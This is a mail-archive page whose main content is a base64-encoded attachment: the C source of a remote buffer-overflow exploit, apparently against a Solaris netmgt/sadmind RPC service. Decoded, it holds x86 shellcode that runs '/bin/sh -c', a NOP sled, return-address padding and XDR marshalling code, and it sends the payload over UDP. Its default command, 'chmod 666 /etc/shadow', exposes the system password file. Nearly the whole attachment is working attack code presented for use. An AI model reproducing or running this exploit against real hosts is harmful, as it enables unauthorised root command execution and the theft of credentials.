DQovKiAgNjggKi8gIlx4ODNceGM0XHgwYyIgICAgICAgICAgICAgICAgICAg
ICAvKiBhZGRsICQweGMsJWVzcCAgICAgICAgKi8NCi8qIHNwcmluZ2JvYXJk
OiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAqLw0KLyogIDcxICovICJceGU4XHhiZVx4ZmZceGZmXHhm
ZiIgICAgICAgICAgICAgLyogY2FsbCBzdGFydCAgICAgICAgICAgICovDQov
KiBkYXRhOiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgKi8NCi8qICA3NiAqLyAiXHhmZlx4
ZmZceGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERBVEEgICAgICAgICAg
ICAgICAgICAqLw0KLyogIDgwICovICJceGZmXHhmZlx4ZmZceGZmIiAgICAg
ICAgICAgICAgICAgLyogREFUQSAgICAgICAgICAgICAgICAgICovDQovKiAg
ODQgKi8gIlx4ZmZceGZmXHhmZlx4ZmYiICAgICAgICAgICAgICAgICAvKiBE
QVRBICAgICAgICAgICAgICAgICAgKi8NCi8qICA4OCAqLyAiXHhmZlx4ZmZc
eGZmXHhmZiIgICAgICAgICAgICAgICAgIC8qIERBVEEgICAgICAgICAgICAg
ICAgICAqLw0KLyogIDkyICovICJceDJmXHg2Mlx4NjlceDZlXHgyZlx4NzNc
eDY4XHhmZiIgLyogREFUQSAgICAgICAgICAgICAgICAgICovDQovKiAxMDAg
Ki8gIlx4MmRceDYzXHhmZiI7ICAgICAgICAgICAgICAgICAgICAvKiBEQVRB
ICAgICAgICAgICAgICAgICAgKi8NCg0KZXh0ZXJuIGNoYXIgKm9wdGFyZzsN
Cg0Kc3RydWN0IG5tX3NlbmRfaGVhZGVyIHsNCiAgICBzdHJ1Y3QgdGltZXZh
bCB0aW1ldmFsMTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsMjsNCiAg
ICBzdHJ1Y3QgdGltZXZhbCB0aW1ldmFsMzsNCiAgICB1bnNpZ25lZCBpbnQg
dWludDE7DQogICAgdW5zaWduZWQgaW50IHVpbnQyOw0KICAgIHVuc2lnbmVk
IGludCB1aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQogICAgdW5z
aWduZWQgaW50IHVpbnQ1Ow0KICAgIHN0cnVjdCBpbl9hZGRyIGluYWRkcjE7
DQogICAgc3RydWN0IGluX2FkZHIgaW5hZGRyMjsNCiAgICB1bnNpZ25lZCBs
b25nIHVsb25nMTsNCiAgICB1bnNpZ25lZCBsb25nIHVsb25nMjsNCiAgICBz
dHJ1Y3QgaW5fYWRkciBpbmFkZHIzOw0KICAgIHVuc2lnbmVkIGxvbmcgdWxv
bmczOw0KICAgIHVuc2lnbmVkIGxvbmcgdWxvbmc0Ow0KICAgIHVuc2lnbmVk
IGxvbmcgdWxvbmc1Ow0KICAgIHN0cnVjdCB0aW1ldmFsIHRpbWV2YWw0Ow0K
ICAgIHVuc2lnbmVkIGludCB1aW50NjsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0
aW1ldmFsNTsNCiAgICBjaGFyICpzdHJpbmcxOw0KICAgIGNoYXIgKnN0cmlu
ZzI7DQogICAgY2hhciAqc3RyaW5nMzsNCiAgICB1bnNpZ25lZCBpbnQgdWlu
dDc7DQp9Ow0KDQpzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IHsNCiAgICBjaGFy
ICpzdHJpbmcxOw0KICAgIHVuc2lnbmVkIGludCB1aW50MTsNCiAgICB1bnNp
Z25lZCBpbnQgdWludDI7DQogICAgaW50IGludDE7DQogICAgdW5zaWduZWQg
aW50IHVpbnQzOw0KICAgIHVuc2lnbmVkIGludCB1aW50NDsNCn07DQoNCnN0
cnVjdCBubV9zZW5kX2FyZ19zdHJpbmcgew0KICAgIGNoYXIgKnN0cmluZzE7
DQogICAgdW5zaWduZWQgaW50IHVpbnQxOw0KICAgIHVuc2lnbmVkIGludCB1
aW50MjsNCiAgICBjaGFyICpzdHJpbmcyOw0KICAgIHVuc2lnbmVkIGludCB1
aW50MzsNCiAgICB1bnNpZ25lZCBpbnQgdWludDQ7DQp9Ow0KDQpzdHJ1Y3Qg
bm1fc2VuZF9mb290ZXIgew0KICAgIGNoYXIgKnN0cmluZzE7DQp9Ow0KDQpz
dHJ1Y3Qgbm1fc2VuZCB7DQogICAgc3RydWN0IG5tX3NlbmRfaGVhZGVyIGhl
YWRlcjsNCiAgICBzdHJ1Y3Qgbm1fc2VuZF9hcmdfaW50IHZlcnNpb247DQog
ICAgc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyBzdHJpbmc7DQogICAgc3Ry
dWN0IG5tX3NlbmRfYXJnX2ludCBmZW5jZTsNCiAgICBzdHJ1Y3Qgbm1fc2Vu
ZF9mb290ZXIgZm9vdGVyOw0KfTsNCg0Kc3RydWN0IG5tX3JlcGx5IHsNCiAg
ICB1bnNpZ25lZCBpbnQgdWludDE7DQogICAgdW5zaWduZWQgaW50IHVpbnQy
Ow0KICAgIGNoYXIgKnN0cmluZzE7DQp9Ow0KDQpib29sX3QNCnhkcl9ubV9z
ZW5kX2hlYWRlcihYRFIgKnhkcnMsIHN0cnVjdCBubV9zZW5kX2hlYWRlciAq
b2JqcCkNCnsNCiAgICBjaGFyICphZGRyOw0KICAgIHNpemVfdCBzaXplID0g
c2l6ZW9mKHN0cnVjdCBpbl9hZGRyKTsNCg0KICAgIGlmICgheGRyX2xvbmco
eGRycywgJm9ianAtPnRpbWV2YWwxLnR2X3NlYykpDQoJcmV0dXJuIChGQUxT
RSk7DQogICAgaWYgKCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDEu
dHZfdXNlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfbG9u
Zyh4ZHJzLCAmb2JqcC0+dGltZXZhbDIudHZfc2VjKSkNCglyZXR1cm4gKEZB
TFNFKTsNCiAgICBpZiAoIXhkcl9sb25nKHhkcnMsICZvYmpwLT50aW1ldmFs
Mi50dl91c2VjKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9s
b25nKHhkcnMsICZvYmpwLT50aW1ldmFsMy50dl9zZWMpKQ0KCXJldHVybiAo
RkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2
YWwzLnR2X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy
X3VfaW50KHhkcnMsICZvYmpwLT51aW50MSkpDQoJcmV0dXJuIChGQUxTRSk7
DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQyKSkNCgly
ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq
cC0+dWludDMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3Vf
aW50KHhkcnMsICZvYmpwLT51aW50NCkpDQoJcmV0dXJuIChGQUxTRSk7DQog
ICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9ianAtPnVpbnQ1KSkNCglyZXR1
cm4gKEZBTFNFKTsNCiAgICBhZGRyID0gKGNoYXIgKikgJm9ianAtPmluYWRk
cjEuc19hZGRyOw0KICAgIGlmICgheGRyX2J5dGVzKHhkcnMsICZhZGRyLCAm
c2l6ZSwgc2l6ZSkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgYWRkciA9IChj
aGFyICopICZvYmpwLT5pbmFkZHIyLnNfYWRkcjsNCiAgICBpZiAoIXhkcl9i
eXRlcyh4ZHJzLCAmYWRkciwgJnNpemUsIHNpemUpKQ0KCXJldHVybiAoRkFM
U0UpOw0KICAgIGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+dWxvbmcx
KSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xvbmcoeGRy
cywgJm9ianAtPnVsb25nMikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgYWRk
ciA9IChjaGFyICopICZvYmpwLT5pbmFkZHIzLnNfYWRkcjsNCiAgICBpZiAo
IXhkcl9ieXRlcyh4ZHJzLCAmYWRkciwgJnNpemUsIHNpemUpKQ0KCXJldHVy
biAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfbG9uZyh4ZHJzLCAmb2JqcC0+
dWxvbmczKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2xv
bmcoeGRycywgJm9ianAtPnVsb25nNCkpDQoJcmV0dXJuIChGQUxTRSk7DQog
ICAgaWYgKCF4ZHJfdV9sb25nKHhkcnMsICZvYmpwLT51bG9uZzUpKQ0KCXJl
dHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAt
PnRpbWV2YWw0LnR2X3NlYykpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYg
KCF4ZHJfbG9uZyh4ZHJzLCAmb2JqcC0+dGltZXZhbDQudHZfdXNlYykpDQoJ
cmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywgJm9i
anAtPnVpbnQ2KSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl9s
b25nKHhkcnMsICZvYmpwLT50aW1ldmFsNS50dl9zZWMpKQ0KCXJldHVybiAo
RkFMU0UpOw0KICAgIGlmICgheGRyX2xvbmcoeGRycywgJm9ianAtPnRpbWV2
YWw1LnR2X3VzZWMpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRy
X3dyYXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzEpKQ0KCXJldHVybiAo
RkFMU0UpOw0KICAgIGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAt
PnN0cmluZzIpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3dy
YXBzdHJpbmcoeGRycywgJm9ianAtPnN0cmluZzMpKQ0KCXJldHVybiAoRkFM
U0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51aW50Nykp
DQoJcmV0dXJuIChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0K
Ym9vbF90DQp4ZHJfbm1fc2VuZF9hcmdfaW50KFhEUiAqeGRycywgc3RydWN0
IG5tX3NlbmRfYXJnX2ludCAqb2JqcCkNCnsNCiAgICBpZiAoIXhkcl93cmFw
c3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCglyZXR1cm4gKEZBTFNF
KTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDEpKQ0K
CXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZv
YmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJf
aW50KHhkcnMsICZvYmpwLT5pbnQxKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAg
ICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDMpKQ0KCXJldHVy
biAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMsICZvYmpwLT51
aW50NCkpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsN
Cn0NCg0KYm9vbF90DQp4ZHJfbm1fc2VuZF9hcmdfc3RyaW5nKFhEUiAqeGRy
cywgc3RydWN0IG5tX3NlbmRfYXJnX3N0cmluZyAqb2JqcCkNCnsNCiAgICBp
ZiAoIXhkcl93cmFwc3RyaW5nKHhkcnMsICZvYmpwLT5zdHJpbmcxKSkNCgly
ZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2Jq
cC0+dWludDEpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3Vf
aW50KHhkcnMsICZvYmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQog
ICAgaWYgKCF4ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMikp
DQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4ZHJfdV9pbnQoeGRycywg
Jm9ianAtPnVpbnQzKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhk
cl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDQpKQ0KCXJldHVybiAoRkFMU0Up
Ow0KICAgIHJldHVybiAoVFJVRSk7DQp9DQoNCmJvb2xfdA0KeGRyX25tX3Nl
bmRfZm9vdGVyKFhEUiAqeGRycywgc3RydWN0IG5tX3NlbmRfZm9vdGVyICpv
YmpwKQ0Kew0KICAgIGlmICgheGRyX3dyYXBzdHJpbmcoeGRycywgJm9ianAt
PnN0cmluZzEpKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIHJldHVybiAoVFJV
RSk7DQp9DQoNCmJvb2xfdA0KeGRyX25tX3NlbmQoWERSICp4ZHJzLCBzdHJ1
Y3Qgbm1fc2VuZCAqb2JqcCkNCnsNCiAgICBpZiAoIXhkcl9ubV9zZW5kX2hl
YWRlcih4ZHJzLCAmb2JqcC0+aGVhZGVyKSkNCglyZXR1cm4gKEZBTFNFKTsN
CiAgICBpZiAoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywgJm9ianAtPnZl
cnNpb24pKQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX25tX3Nl
bmRfYXJnX3N0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nKSkNCglyZXR1cm4g
KEZBTFNFKTsNCiAgICBpZiAoIXhkcl9ubV9zZW5kX2FyZ19pbnQoeGRycywg
Jm9ianAtPmZlbmNlKSkNCglyZXR1cm4gKEZBTFNFKTsNCiAgICBpZiAoIXhk
cl9ubV9zZW5kX2Zvb3Rlcih4ZHJzLCAmb2JqcC0+Zm9vdGVyKSkNCglyZXR1
cm4gKEZBTFNFKTsNCiAgICByZXR1cm4gKFRSVUUpOw0KfQ0KDQpib29sX3QN
Cnhkcl9ubV9yZXBseShYRFIgKnhkcnMsIHN0cnVjdCBubV9yZXBseSAqb2Jq
cCkNCnsNCiAgICBpZiAoIXhkcl91X2ludCh4ZHJzLCAmb2JqcC0+dWludDEp
KQ0KCXJldHVybiAoRkFMU0UpOw0KICAgIGlmICgheGRyX3VfaW50KHhkcnMs
ICZvYmpwLT51aW50MikpDQoJcmV0dXJuIChGQUxTRSk7DQogICAgaWYgKCF4
ZHJfd3JhcHN0cmluZyh4ZHJzLCAmb2JqcC0+c3RyaW5nMSkpDQoJcmV0dXJu
IChGQUxTRSk7DQogICAgcmV0dXJuIChUUlVFKTsNCn0NCg0KaW50DQptYWlu
KGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogICAgQ0xJRU5UICpjbDsN
CiAgICBzdHJ1Y3Qgbm1fc2VuZCBzZW5kOw0KICAgIHN0cnVjdCBubV9yZXBs
eSByZXBseTsNCiAgICBzdHJ1Y3QgdGltZXZhbCB0bTsNCiAgICBlbnVtIGNs
bnRfc3RhdCBzdGF0Ow0KICAgIGludCBjLCBpLCBsZW4sIHNsZW4sIGNsZW47
DQogICAgY2hhciAqcHJvZ3JhbSwgKmNwLCBidWZbQlVGTEVOKzFdOw0KICAg
IGNoYXIgKmhvc3RuYW1lLCAqY29tbWFuZDsNCiAgICBpbnQganVuayA9IDAs
IG9mZnNldCwgYWxpZ25tZW50LCBwaW5naW5nID0gMDsNCiAgICB1bnNpZ25l
ZCBsb25nIGludCBzcCA9IDAsIGFkZHI7DQoNCiAgICBwcm9ncmFtID0gYXJn
dlswXTsNCiAgICBob3N0bmFtZSA9ICJsb2NhbGhvc3QiOw0KICAgIGNvbW1h
bmQgPSAiY2htb2QgNjY2IC9ldGMvc2hhZG93IjsNCiAgICBvZmZzZXQgPSBP
RkZTRVQ7IGFsaWdubWVudCA9IEFMSUdOTUVOVDsNCiAgICB3aGlsZSAoKGMg
PSBnZXRvcHQoYXJnYywgYXJndiwgImg6YzpzOmo6bzphOnAiKSkgIT0gRU9G
KSB7DQoJc3dpdGNoIChjKSB7DQoJY2FzZSAnaCc6DQoJICAgIGhvc3RuYW1l
ID0gb3B0YXJnOw0KCSAgICBicmVhazsNCgljYXNlICdjJzoNCgkgICAgY29t
bWFuZCA9IG9wdGFyZzsgDQoJICAgIGJyZWFrOw0KCWNhc2UgJ3MnOg0KCSAg
ICBzcCA9IHN0cnRvdWwob3B0YXJnLCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7
DQoJY2FzZSAnaic6DQoJICAgIGp1bmsgPSAoaW50KSBzdHJ0b2wob3B0YXJn
LCBOVUxMLCAwKTsNCgkgICAgYnJlYWs7DQoJY2FzZSAnbyc6DQoJICAgIG9m
ZnNldCA9IChpbnQpIHN0cnRvbChvcHRhcmcsIE5VTEwsIDApOw0KCSAgICBi
cmVhazsNCgljYXNlICdhJzoNCgkgICAgYWxpZ25tZW50ID0gKGludCkgc3Ry
dG9sKG9wdGFyZywgTlVMTCwgMCk7DQoJICAgIGJyZWFrOw0KCWNhc2UgJ3An
Og0KCSAgICBwaW5naW5nID0gMTsNCgkgICAgYnJlYWs7DQoJZGVmYXVsdDoN
CgkgICAgZnByaW50ZihzdGRlcnIsICJ1c2FnZTogJXMgLWggaG9zdG5hbWUg
LWMgY29tbWFuZCAtcyBzcCAtaiBqdW5rICINCgkJICAgICJbLW8gb2Zmc2V0
XSBbLWEgYWxpZ25tZW50XSBbLXBdXG4iLCBwcm9ncmFtKTsNCgkgICAgZXhp
dCgxKTsNCgkgICAgYnJlYWs7DQoJfQ0KICAgIH0NCiAgICBtZW1zZXQoYnVm
LCBOT1AsIEJVRkxFTik7DQogICAganVuayAmPSAweGZmZmZmZmZjOw0KICAg
IGZvciAoaSA9IDAsIGNwID0gYnVmICsgYWxpZ25tZW50OyBpIDwganVuayAv
IDQ7IGkrKykgew0KCSpjcCsrID0gKHNwID4+ICAwKSAmIDB4ZmY7DQoJKmNw
KysgPSAoc3AgPj4gIDgpICYgMHhmZjsNCgkqY3ArKyA9IChzcCA+PiAxNikg
JiAweGZmOw0KCSpjcCsrID0gKHNwID4+IDI0KSAmIDB4ZmY7DQogICAgfQ0K
ICAgIGFkZHIgPSBzcCArIG9mZnNldDsNCiAgICBmb3IgKGkgPSAwOyBpIDwg
QUREUkxFTiAvIDQ7IGkrKykgew0KCSpjcCsrID0gKGFkZHIgPj4gIDApICYg
MHhmZjsNCgkqY3ArKyA9IChhZGRyID4+ICA4KSAmIDB4ZmY7DQoJKmNwKysg
PSAoYWRkciA+PiAxNikgJiAweGZmOw0KCSpjcCsrID0gKGFkZHIgPj4gMjQp
ICYgMHhmZjsNCiAgICB9DQogICAgc2xlbiA9IHN0cmxlbihzaGVsbCk7IGNs
ZW4gPSBzdHJsZW4oY29tbWFuZCk7DQogICAgbGVuID0gY2xlbjsgbGVuKys7
IGxlbiA9IC1sZW47DQogICAgc2hlbGxbTEVOKzBdID0gKGxlbiA+PiAgMCkg
JiAweGZmOw0KICAgIHNoZWxsW0xFTisxXSA9IChsZW4gPj4gIDgpICYgMHhm
ZjsNCiAgICBzaGVsbFtMRU4rMl0gPSAobGVuID4+IDE2KSAmIDB4ZmY7DQog
ICAgc2hlbGxbTEVOKzNdID0gKGxlbiA+PiAyNCkgJiAweGZmOw0KICAgIGNw
ID0gYnVmICsgQlVGTEVOIC0gMSAtIGNsZW4gLSBzbGVuOw0KICAgIG1lbWNw
eShjcCwgc2hlbGwsIHNsZW4pOyBjcCArPSBzbGVuOw0KICAgIG1lbWNweShj
cCwgY29tbWFuZCwgY2xlbik7IGNwICs9IGNsZW47DQogICAgKmNwID0gJ1x4
ZmYnOw0KICAgIGJ1ZltCVUZMRU5dID0gJ1wwJzsNCiAgICBtZW1zZXQoJnNl
bmQsIDAsIHNpemVvZihzdHJ1Y3Qgbm1fc2VuZCkpOw0KICAgIHNlbmQuaGVh
ZGVyLnVpbnQyID0gTkVUTUdUX0hFQURFUl9UWVBFOw0KICAgIHNlbmQuaGVh
ZGVyLnN0cmluZzEgPSAiIjsNCiAgICBzZW5kLmhlYWRlci5zdHJpbmcyID0g
IiI7DQogICAgc2VuZC5oZWFkZXIuc3RyaW5nMyA9ICIiOw0KICAgIHNlbmQu
aGVhZGVyLnVpbnQ3ID0NCglzdHJsZW4oQURNX0ZXX1ZFUlNJT04pICsgMSAr
DQoJKDQgKiBzaXplb2YodW5zaWduZWQgaW50KSkgKyBzaXplb2YoaW50KSAr
DQoJc3RybGVuKEFETV9DTElFTlRfRE9NQUlOKSArIDEgKw0KCSg0ICogc2l6
ZW9mKHVuc2lnbmVkIGludCkpICsgc3RybGVuKGJ1ZikgKyAxICsNCglzdHJs
ZW4oQURNX0ZFTkNFKSArIDEgKw0KCSg0ICogc2l6ZW9mKHVuc2lnbmVkIGlu
dCkpICsgc2l6ZW9mKGludCkgKw0KCXN0cmxlbihORVRNR1RfRU5ET0ZBUkdT
KSArIDE7DQogICAgc2VuZC52ZXJzaW9uLnN0cmluZzEgPSBBRE1fRldfVkVS
U0lPTjsNCiAgICBzZW5kLnZlcnNpb24udWludDEgPSBORVRNR1RfQVJHX0lO
VDsNCiAgICBzZW5kLnZlcnNpb24udWludDIgPSBzaXplb2YoaW50KTsNCiAg
ICBzZW5kLnZlcnNpb24uaW50MSA9IDE7DQogICAgc2VuZC5zdHJpbmcuc3Ry
aW5nMSA9IEFETV9DTElFTlRfRE9NQUlOOw0KICAgIHNlbmQuc3RyaW5nLnVp
bnQxID0gTkVUTUdUX0FSR19TVFJJTkc7DQogICAgc2VuZC5zdHJpbmcudWlu
dDIgPSBzdHJsZW4oYnVmKTsNCiAgICBzZW5kLnN0cmluZy5zdHJpbmcyID0g
YnVmOw0KICAgIHNlbmQuZmVuY2Uuc3RyaW5nMSA9IEFETV9GRU5DRTsNCiAg
ICBzZW5kLmZlbmNlLnVpbnQxID0gTkVUTUdUX0FSR19JTlQ7DQogICAgc2Vu
ZC5mZW5jZS51aW50MiA9IHNpemVvZihpbnQpOw0KICAgIHNlbmQuZmVuY2Uu
aW50MSA9IDY2NjsNCiAgICBzZW5kLmZvb3Rlci5zdHJpbmcxID0gTkVUTUdU
X0VORE9GQVJHUzsNCiAgICBjbCA9IGNsbnRfY3JlYXRlKGhvc3RuYW1lLCBO
RVRNR1RfUFJPRywgTkVUTUdUX1ZFUlMsICJ1ZHAiKTsNCiAgICBpZiAoY2wg
PT0gTlVMTCkgew0KCWNsbnRfcGNyZWF0ZWVycm9yKCJjbG50X2NyZWF0ZSIp
Ow0KCWV4aXQoMSk7DQogICAgfQ0KICAgIGNsLT5jbF9hdXRoID0gYXV0aHVu
aXhfY3JlYXRlKCJsb2NhbGhvc3QiLCAwLCAwLCAwLCBOVUxMKTsNCiAgICBp
ZiAoIXBpbmdpbmcpIHsNCglmcHJpbnRmKHN0ZG91dCwNCgkJIiUlZXNwIDB4
JTA4bHggb2Zmc2V0ICVkIC0tPiByZXR1cm4gYWRkcmVzcyAweCUwOGx4IFsl
ZCslZF1cbiIsDQoJCXNwLCBvZmZzZXQsIGFkZHIsIGFsaWdubWVudCwganVu
ayk7DQoJdG0udHZfc2VjID0gTkVUTUdUX1VEUF9TRVJWSUNFX1RJTUVPVVQ7
IHRtLnR2X3VzZWMgPSAwOw0KCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNF
VF9USU1FT1VULCAoY2hhciAqKSAmdG0pKSB7DQoJICAgIGZwcmludGYoc3Rk
ZXJyLCAiZXhwbG9pdCBmYWlsZWQ7IHVuYWJsZSB0byBzZXQgdGltZW91dFxu
Iik7DQoJICAgIGV4aXQoMSk7DQoJfQ0KCXRtLnR2X3NlYyA9IE5FVE1HVF9V
RFBfU0VSVklDRV9SRVRSWV9USU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglp
ZiAoIWNsbnRfY29udHJvbChjbCwgQ0xTRVRfUkVUUllfVElNRU9VVCwgKGNo
YXIgKikgJnRtKSkgew0KCSAgICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQg
ZmFpbGVkOyB1bmFibGUgdG8gc2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0
KDEpOw0KCX0NCglzdGF0ID0gY2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19T
RVJWSUNFLA0KCQkJIHhkcl9ubV9zZW5kLCAoY2FkZHJfdCkgJnNlbmQsDQoJ
CQkgeGRyX25tX3JlcGx5LCAoY2FkZHJfdCkgJnJlcGx5LCB0bSk7DQoJaWYg
KHN0YXQgIT0gUlBDX1NVQ0NFU1MpIHsNCgkgICAgY2xudF9wZXJyb3IoY2ws
ICJjbG50X2NhbGwiKTsNCgkgICAgZnByaW50ZihzdGRvdXQsICJub3cgY2hl
Y2sgaWYgZXhwbG9pdCB3b3JrZWQ7ICINCgkJICAgICJSUEMgZmFpbHVyZSB3
YXMgZXhwZWN0ZWRcbiIpOw0KCSAgICBleGl0KDApOw0KCX0NCglmcHJpbnRm
KHN0ZGVyciwgImV4cGxvaXQgZmFpbGVkOyAiDQoJCSJSUEMgc3VjY2VlZGVk
IGFuZCByZXR1cm5lZCB7ICV1LCAldSwgXCIlc1wiIH1cbiIsDQoJCXJlcGx5
LnVpbnQxLCByZXBseS51aW50MiwgcmVwbHkuc3RyaW5nMSk7DQoJY2xudF9k
ZXN0cm95KGNsKTsNCglleGl0KDEpOw0KICAgIH0gZWxzZSB7DQoJdG0udHZf
c2VjID0gTkVUTUdUX1VEUF9QSU5HX1RJTUVPVVQ7IHRtLnR2X3VzZWMgPSAw
Ow0KCWlmICghY2xudF9jb250cm9sKGNsLCBDTFNFVF9USU1FT1VULCAoY2hh
ciAqKSAmdG0pKSB7DQoJICAgIGZwcmludGYoc3RkZXJyLCAiZXhwbG9pdCBm
YWlsZWQ7IHVuYWJsZSB0byBzZXQgdGltZW91dFxuIik7DQoJICAgIGV4aXQo
MSk7DQoJfQ0KCXRtLnR2X3NlYyA9IE5FVE1HVF9VRFBfUElOR19SRVRSWV9U
SU1FT1VUOyB0bS50dl91c2VjID0gMDsNCglpZiAoIWNsbnRfY29udHJvbChj
bCwgQ0xTRVRfUkVUUllfVElNRU9VVCwgKGNoYXIgKikgJnRtKSkgew0KCSAg
ICBmcHJpbnRmKHN0ZGVyciwgImV4cGxvaXQgZmFpbGVkOyB1bmFibGUgdG8g
c2V0IHRpbWVvdXRcbiIpOw0KCSAgICBleGl0KDEpOw0KCX0NCglzdGF0ID0g
Y2xudF9jYWxsKGNsLCBORVRNR1RfUFJPQ19QSU5HLA0KCQkJIHhkcl92b2lk
LCBOVUxMLA0KCQkJIHhkcl92b2lkLCBOVUxMLCB0bSk7DQoJaWYgKHN0YXQg
IT0gUlBDX1NVQ0NFU1MpIHsNCgkgICAgY2xudF9wZXJyb3IoY2wsICJjbG50
X2NhbGwiKTsNCgkgICAgZXhpdCgxKTsNCgl9DQoJY2xudF9kZXN0cm95KGNs
KTsNCglleGl0KDApOw0KICAgIH0NCn0NCg==

--0-1957747793-944864183=:20191--

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Закладки
Добавить в закладки
Created 1996-2003 by Maxim Chirkov  
ДобавитьРекламаВебмастеруЦУПГИД  
SpyLOG TopList
RB2 Network. RB2 Network.